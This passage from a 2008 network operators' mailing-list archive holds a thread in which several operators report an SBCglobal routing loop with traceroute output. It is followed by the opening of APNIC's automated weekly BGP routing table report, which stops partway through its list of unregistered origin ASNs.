bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 24 11 ms 11 ms 11 ms 151.164.188.139 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 26 14 ms 11 ms 12 ms 151.164.188.139 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 28 12 ms 11 ms 11 ms 151.164.188.139 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 30 11 ms 11 ms 11 ms 151.164.188.139 Trace complete. From justin.ream at tierzero.com Fri Jul 18 12:33:54 2008 From: justin.ream at tierzero.com (Justin Ream) Date: Fri, 18 Jul 2008 10:33:54 -0700 Subject: SBCglobal routing loop. In-Reply-To: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> Message-ID: Hey we got one too - we're having problems through Level 3. Hop IP Address Hostname ASN Network Name % Loss Min Latency Latency Avg Latency Max Latency Std Dev 1 192.168.1.1 192.168.1.1 0 0.37 0.47 0.67 0.06 2 192.168.1.254 192.168.1.254 0 0.66 0.76 1.1 0.07 3 216.31.131.253 s1p20.colo1.lax.ca.us.tierzero.net 11509 TIERZERO-700LA 0 1.98 5.02 133.36 18.37 4 216.31.128.131 asbr2.bsap.lax1.ca.us.tierzero.net 11509 TIERZERO-700LA 0 2.24 6.88 186.29 25.73 5 4.71.142.93 ge-9-23.car2.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 2.4 11.92 183.51 36.78 6 4.68.20.69 ae-23-79.car3.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 2.79 7.21 70.62 14.11 7 4.68.110.114 sbc-level3-10ge.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 2.89 15.72 207.58 35.31 8 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 5.71 2.77 3.8 21.95 3.22 9 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 76 2.86 36.28 196.96 71.87 10 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 11.11 2.72 7.12 126.74 21.49 11 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 52 3.06 16.62 138.84 37.11 12 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 13.89 2.91 15.14 160.99 35.24 13 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 48.28 2.93 15 92.22 29.64 14 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 2.63 2.76 8.06 122.75 20.76 15 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 61.54 3.18 11.46 49.49 15.65 16 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 0 2.81 8.9 85.47 19.06 17 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 72 3 4 7.61 1.49 18 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 8.33 2.75 8.65 142.66 24.57 19 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 80 3.24 5.15 11.5 3.19 20 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 0 2.91 3.57 9.63 1.06 21 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 68 3 36.53 139.3 57.23 22 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 5.26 2.94 9.24 198.98 32.15 23 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 55.56 3.23 6.79 39.86 9.99 24 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 11.43 3.05 7.4 123.63 21.22 25 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 80 3.17 41.51 194.34 76.41 26 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 7.32 3 7.36 137.2 21.43 27 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 61.54 3.08 7.36 24.55 7.1 28 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 8.33 3.1 7.76 132.98 22.14 29 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 68 3.44 21.86 148.94 48.03 30 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 23.08 3.16 7.74 84.7 17.66 -Justin On 7/18/08 10:30 AM, "Logan Rawlins" wrote: > Anyone from sbcglobal out there? i'm seeing a routing loop. Please > contact me off list thanks. > > sourceip: 69.16.137.66 > > > tracert 75.58.215.133 > > Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net > [75.58.215.133] > over a maximum of 30 hops: > > 1 2 ms <1 ms <1 ms 192.168.113.1 > 2 1 ms 2 ms 2 ms 69.16.137.66 > 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net > [69.16.128 > .110] > 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] > 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] > 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] > 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net > [69.31.127.29] > 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net > [69.31.127.165] > 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net > [69.31.127.50] > 10 11 ms 11 ms 11 ms 151.164.188.139 > 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 12 11 ms 11 ms 11 ms 151.164.188.139 > 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 14 14 ms 11 ms 11 ms 151.164.188.139 > 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 16 11 ms 11 ms 11 ms 151.164.188.139 > 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 18 11 ms 11 ms 11 ms 151.164.188.139 > 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 20 12 ms 11 ms 11 ms 151.164.188.139 > 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 22 11 ms 11 ms 11 ms 151.164.188.139 > 23 14 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 24 11 ms 11 ms 11 ms 151.164.188.139 > 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 26 14 ms 11 ms 12 ms 151.164.188.139 > 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 28 12 ms 11 ms 11 ms 151.164.188.139 > 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 30 11 ms 11 ms 11 ms 151.164.188.139 > > Trace complete. > > From mike.lyon at gmail.com Fri Jul 18 12:40:43 2008 From: mike.lyon at gmail.com (Mike Lyon) Date: Fri, 18 Jul 2008 10:40:43 -0700 Subject: SBCglobal routing loop. In-Reply-To: References: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> Message-ID: <1b5c1c150807181040k4deb9ad5i2a8a7004286a77c7@mail.gmail.com> Think this may be an ongoing issue... Last night out here in the bay area, myself and many other SBC/ATT users were experiencing random blackholed networks. Total PITA! -Mike On Fri, Jul 18, 2008 at 10:33 AM, Justin Ream wrote: > Hey we got one too - we're having problems through Level 3. > > > > Hop IP Address Hostname ASN Network Name % Loss Min Latency Latency Avg > Latency Max Latency Std Dev > 1 192.168.1.1 192.168.1.1 0 0.37 0.47 0.67 0.06 > 2 192.168.1.254 192.168.1.254 0 0.66 0.76 1.1 0.07 > 3 216.31.131.253 s1p20.colo1.lax.ca.us.tierzero.net 11509 TIERZERO-700LA 0 > 1.98 5.02 133.36 18.37 > 4 216.31.128.131 asbr2.bsap.lax1.ca.us.tierzero.net 11509 TIERZERO-700LA 0 > 2.24 6.88 186.29 25.73 > 5 4.71.142.93 ge-9-23.car2.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 2.4 > 11.92 183.51 36.78 > 6 4.68.20.69 ae-23-79.car3.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 2.79 > 7.21 70.62 14.11 > 7 4.68.110.114 sbc-level3-10ge.LosAngeles1.Level3.net 3356 LVLT-ORG-4-8 0 > 2.89 15.72 207.58 35.31 > 8 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 5.71 2.77 > 3.8 21.95 3.22 > 9 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 76 2.86 > 36.28 196.96 71.87 > 10 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 11.11 > 2.72 7.12 126.74 21.49 > 11 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 52 3.06 > 16.62 138.84 37.11 > 12 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 13.89 > 2.91 15.14 160.99 35.24 > 13 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 48.28 > 2.93 15 92.22 29.64 > 14 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 2.63 2.76 > 8.06 122.75 20.76 > 15 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 61.54 > 3.18 11.46 49.49 15.65 > 16 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 0 2.81 > 8.9 85.47 19.06 > 17 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 72 3 4 > 7.61 1.49 > 18 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 8.33 2.75 > 8.65 142.66 24.57 > 19 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 80 3.24 > 5.15 11.5 3.19 > 20 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 0 2.91 > 3.57 9.63 1.06 > 21 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 68 3 > 36.53 139.3 57.23 > 22 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 5.26 2.94 > 9.24 198.98 32.15 > 23 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 55.56 > 3.23 6.79 39.86 9.99 > 24 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 11.43 > 3.05 7.4 123.63 21.22 > 25 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 80 3.17 > 41.51 194.34 76.41 > 26 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 7.32 3 > 7.36 137.2 21.43 > 27 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 61.54 > 3.08 7.36 24.55 7.1 > 28 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 8.33 3.1 > 7.76 132.98 22.14 > 29 151.164.188.138 bb2-p14-0.scrm01.sbcglobal.net 7132 SBCIS-SIS80 68 3.44 > 21.86 148.94 48.03 > 30 151.164.191.226 ex2-p3-0.eqlaca.sbcglobal.net 7132 SBCIS-SIS80 23.08 > 3.16 7.74 84.7 17.66 > > -Justin > > On 7/18/08 10:30 AM, "Logan Rawlins" wrote: > >> Anyone from sbcglobal out there? i'm seeing a routing loop. Please >> contact me off list thanks. >> >> sourceip: 69.16.137.66 >> >> >> tracert 75.58.215.133 >> >> Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net >> [75.58.215.133] >> over a maximum of 30 hops: >> >> 1 2 ms <1 ms <1 ms 192.168.113.1 >> 2 1 ms 2 ms 2 ms 69.16.137.66 >> 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net >> [69.16.128 >> .110] >> 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] >> 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] >> 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] >> 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net >> [69.31.127.29] >> 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net >> [69.31.127.165] >> 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net >> [69.31.127.50] >> 10 11 ms 11 ms 11 ms 151.164.188.139 >> 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 12 11 ms 11 ms 11 ms 151.164.188.139 >> 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 14 14 ms 11 ms 11 ms 151.164.188.139 >> 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 16 11 ms 11 ms 11 ms 151.164.188.139 >> 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 18 11 ms 11 ms 11 ms 151.164.188.139 >> 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 20 12 ms 11 ms 11 ms 151.164.188.139 >> 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 22 11 ms 11 ms 11 ms 151.164.188.139 >> 23 14 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 24 11 ms 11 ms 11 ms 151.164.188.139 >> 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 26 14 ms 11 ms 12 ms 151.164.188.139 >> 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 28 12 ms 11 ms 11 ms 151.164.188.139 >> 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net >> [151.164.188.138] >> >> 30 11 ms 11 ms 11 ms 151.164.188.139 >> >> Trace complete. >> >> > > > From ren.provo at gmail.com Fri Jul 18 12:50:46 2008 From: ren.provo at gmail.com (Ren Provo) Date: Fri, 18 Jul 2008 13:50:46 -0400 Subject: SBCglobal routing loop. In-Reply-To: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> References: <8CBFB4F0-AF6E-4AAF-8FA0-5CDE65505592@highwinds.com> Message-ID: <787581440807181050h60d6a84n2bb089946b46cb3b@mail.gmail.com> What did your upstream transit supplier advise before you escalated this to the global audience at NANOG? This is the second time in 24hrs you have requested assistance here which could have been handled via other methods. -ren On Fri, Jul 18, 2008 at 1:30 PM, Logan Rawlins wrote: > Anyone from sbcglobal out there? i'm seeing a routing loop. Please > contact me off list thanks. > > sourceip: 69.16.137.66 > > > tracert 75.58.215.133 > > Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net [ > 75.58.215.133] > over a maximum of 30 hops: > > 1 2 ms <1 ms <1 ms 192.168.113.1 > 2 1 ms 2 ms 2 ms 69.16.137.66 > 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net > [69.16.128 > .110] > 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] > 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] > 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] > 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net [69.31.127.29] > 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net > [69.31.127.165] > 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net > [69.31.127.50] > 10 11 ms 11 ms 11 ms 151.164.188.139 > 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 12 11 ms 11 ms 11 ms 151.164.188.139 > 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 14 14 ms 11 ms 11 ms 151.164.188.139 > 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 16 11 ms 11 ms 11 ms 151.164.188.139 > 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 18 11 ms 11 ms 11 ms 151.164.188.139 > 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 20 12 ms 11 ms 11 ms 151.164.188.139 > 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 22 11 ms 11 ms 11 ms 151.164.188.139 > 23 14 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 24 11 ms 11 ms 11 ms 151.164.188.139 > 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 26 14 ms 11 ms 12 ms 151.164.188.139 > 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 28 12 ms 11 ms 11 ms 151.164.188.139 > 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net > [151.164.188.138] > > 30 11 ms 11 ms 11 ms 151.164.188.139 > > Trace complete. > > > From cscora at apnic.net Fri Jul 18 13:08:20 2008 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 19 Jul 2008 04:08:20 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200807181808.m6II8KFL014966@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 19 Jul, 2008 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 263570 Prefixes after maximum aggregation: 129383 Deaggregation factor: 2.04 Unique aggregates announced to Internet: 128648 Total ASes present in the Internet Routing Table: 28709 Prefixes per ASN: 9.18 Origin-only ASes present in the Internet Routing Table: 25036 Origin ASes announcing only one prefix: 12109 Transit ASes present in the Internet Routing Table: 3673 Transit-only ASes present in the Internet Routing Table: 76 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 19 Max AS path prepend of ASN ( 3816) 15 Prefixes from unregistered ASNs in the Routing Table: 585 Unregistered ASNs in the Routing Table: 215 Number of 32-bit ASNs allocated by the RIRs: 50 Prefixes from 32-bit ASNs in the Routing Table: 8 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 778 Number of addresses announced to Internet: 1894510496 Equivalent to 112 /8s, 235 /16s and 239 /24s Percentage of available address space announced: 51.1 Percentage of allocated address space announced: 62.1 Percentage of available address space allocated: 82.3 Percentage of address space in use by end-sites: 72.7 Total number of prefixes smaller than registry allocations: 128645 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 60485 Total APNIC prefixes after maximum aggregation: 22626 APNIC Deaggregation factor: 2.67 Prefixes being announced from the APNIC address blocks: 57467 Unique aggregates announced from the APNIC address blocks: 25516 APNIC Region origin ASes present in the Internet Routing Table: 3307 APNIC Prefixes per ASN: 17.38 APNIC Region origin ASes announcing only one prefix: 882 APNIC Region transit ASes present in the Internet Routing Table: 518 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 19 Number of APNIC addresses announced to Internet: 368124960 Equivalent to 21 /8s, 241 /16s and 36 /24s Percentage of available APNIC address space announced: 78.4 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 121119 Total ARIN prefixes after maximum aggregation: 65323 ARIN Deaggregation factor: 1.85 Prefixes being announced from the ARIN address blocks: 90675 Unique aggregates announced from the ARIN address blocks: 35130 ARIN Region origin ASes present in the Internet Routing Table: 12293 ARIN Prefixes per ASN: 7.38 ARIN Region origin ASes announcing only one prefix: 4747 ARIN Region transit ASes present in the Internet Routing Table: 1155 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 15 Number of ARIN addresses announced to Internet: 352742688 Equivalent to 21 /8s, 6 /16s and 109 /24s Percentage of available ARIN address space announced: 72.5 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 173/8, 174/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 56703 Total RIPE prefixes after maximum aggregation: 34477 RIPE Deaggregation factor: 1.64 Prefixes being announced from the RIPE address blocks: 51898 Unique aggregates announced from the RIPE address blocks: 34879 RIPE Region origin ASes present in the Internet Routing Table: 11614 RIPE Prefixes per ASN: 4.47 RIPE Region origin ASes announcing only one prefix: 6089 RIPE Region transit ASes present in the Internet Routing Table: 1740 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 18 Number of RIPE addresses announced to Internet: 366805568 Equivalent to 21 /8s, 221 /16s and 2 /24s Percentage of available RIPE address space announced: 84.1 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-48127 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 20673 Total LACNIC prefixes after maximum aggregation: 5279 LACNIC Deaggregation factor: 3.92 Prefixes being announced from the LACNIC address blocks: 18896 Unique aggregates announced from the LACNIC address blocks: 10693 LACNIC Region origin ASes present in the Internet Routing Table: 966 LACNIC Prefixes per ASN: 19.56 LACNIC Region origin ASes announcing only one prefix: 316 LACNIC Region transit ASes present in the Internet Routing Table: 162 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 18 Number of LACNIC addresses announced to Internet: 53626880 Equivalent to 3 /8s, 50 /16s and 72 /24s Percentage of available LACNIC address space announced: 53.3 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4008 Total AfriNIC prefixes after maximum aggregation: 1190 AfriNIC Deaggregation factor: 3.37 Prefixes being announced from the AfriNIC address blocks: 4300 Unique aggregates announced from the AfriNIC address blocks: 1895 AfriNIC Region origin ASes present in the Internet Routing Table: 241 AfriNIC Prefixes per ASN: 17.84 AfriNIC Region origin ASes announcing only one prefix: 75 AfriNIC Region transit ASes present in the Internet Routing Table: 47 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 14 Number of AfriNIC addresses announced to Internet: 12311296 Equivalent to 0 /8s, 187 /16s and 219 /24s Percentage of available AfriNIC address space announced: 36.7 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4755 1671 342 176 Videsh Sanchar Nigam Ltd. Aut 17488 1219 84 96 Hathway IP Over Cable Interne 9583 1170 89 481 Sify Limited 4766 852 6390 347 Korea Telecom (KIX) 23577 829 35 703 Korea Telecom (ATM-MPLS) 4134 824 13539 334 CHINANET-BACKBONE 9498 711 547 58 BHARTI BT INTERNET LTD. 4780 707 351 63 Digital United Inc. 18101 690 167 32 Reliance Infocom Ltd Internet 4808 617 1111 137 CNCGROUP IP network: China169 Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3008 3859 625 Qwest 6389 2662 3260 195 bellsouth.net, inc. 6298 1606 233 782 Cox Communicatons 4323 1482 1061 379 Time Warner Telecom 2386 1477 646 873 AT&T Data Communications Serv 7018 1415 6247 988 AT&T WorldNet Services 11492 1210 149 32 Cable One 1785 1087 510 104 AppliedTheory Corporation 18566 1045 296 10 Covad Communications 20115 1041 1059 558 Charter Communications Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 3292 414 1792 372 TDC Tele Danmark 3301 332 1460 303 TeliaNet Sweden 3320 322 7047 270 Deutsche Telekom AG 8452 319 188 11 TEDATA 8866 317 77 21 Bulgarian Telecommunication C 5462 296 666 27 Telewest Broadband 8551 287 269 38 Bezeq International 3215 286 2758 90 France Telecom Transpac 680 274 2047 264 DFN-IP service G-WiN 6746 269 126 244 Dynamic Network Technologies, Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1384 2590 225 UniNet S.A. de C.V. 11830 612 299 9 Instituto Costarricense de El 22047 565 270 14 VTR PUNTO NET S.A. 7303 471 232 63 Telecom Argentina Stet-France 16814 426 27 10 NSS, S.A. 6471 414 85 48 ENTEL CHILE S.A. 11172 408 118 71 Servicios Alestra S.A de C.V 10620 406 106 64 TVCABLE BOGOTA 14117 375 23 9 Telefonica del Sur S.A. 20299 335 23 98 NEWCOM AMERICAS Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 476 61 24 LINKdotNET AS number 20858 398 34 3 EgyNet 3741 270 853 225 The Internet Solution 2018 209 204 102 Tertiary Education Network 6713 143 135 11 Itissalat Al-MAGHRIB 33783 135 10 12 EEPAD TISP TELECOM & INTERNET 5713 130 556 75 Telkom SA Ltd 5536 120 8 17 Internet Egypt Network 29571 107 13 8 Ci Telecom Autonomous system 33776 99 6 7 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3008 3859 625 Qwest 6389 2662 3260 195 bellsouth.net, inc. 4755 1671 342 176 Videsh Sanchar Nigam Ltd. Aut 6298 1606 233 782 Cox Communicatons 4323 1482 1061 379 Time Warner Telecom 2386 1477 646 873 AT&T Data Communications Serv 7018 1415 6247 988 AT&T WorldNet Services 8151 1384 2590 225 UniNet S.A. de C.V. 17488 1219 84 96 Hathway IP Over Cable Interne 11492 1210 149 32 Cable One Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 6389 2662 2467 bellsouth.net, inc. 4755 1671 1495 Videsh Sanchar Nigam Ltd. Aut 11492 1210 1178 Cable One 8151 1384 1159 UniNet S.A. de C.V. 17488 1219 1123 Hathway IP Over Cable Interne 4323 1482 1103 Time Warner Telecom 18566 1045 1035 Covad Communications 1785 1087 983 AppliedTheory Corporation 22773 971 907 Cox Communications, Inc. 6478 1003 835 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 701 UUNET Technologies, 22492 UNALLOCATED 12.2.46.0/24 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 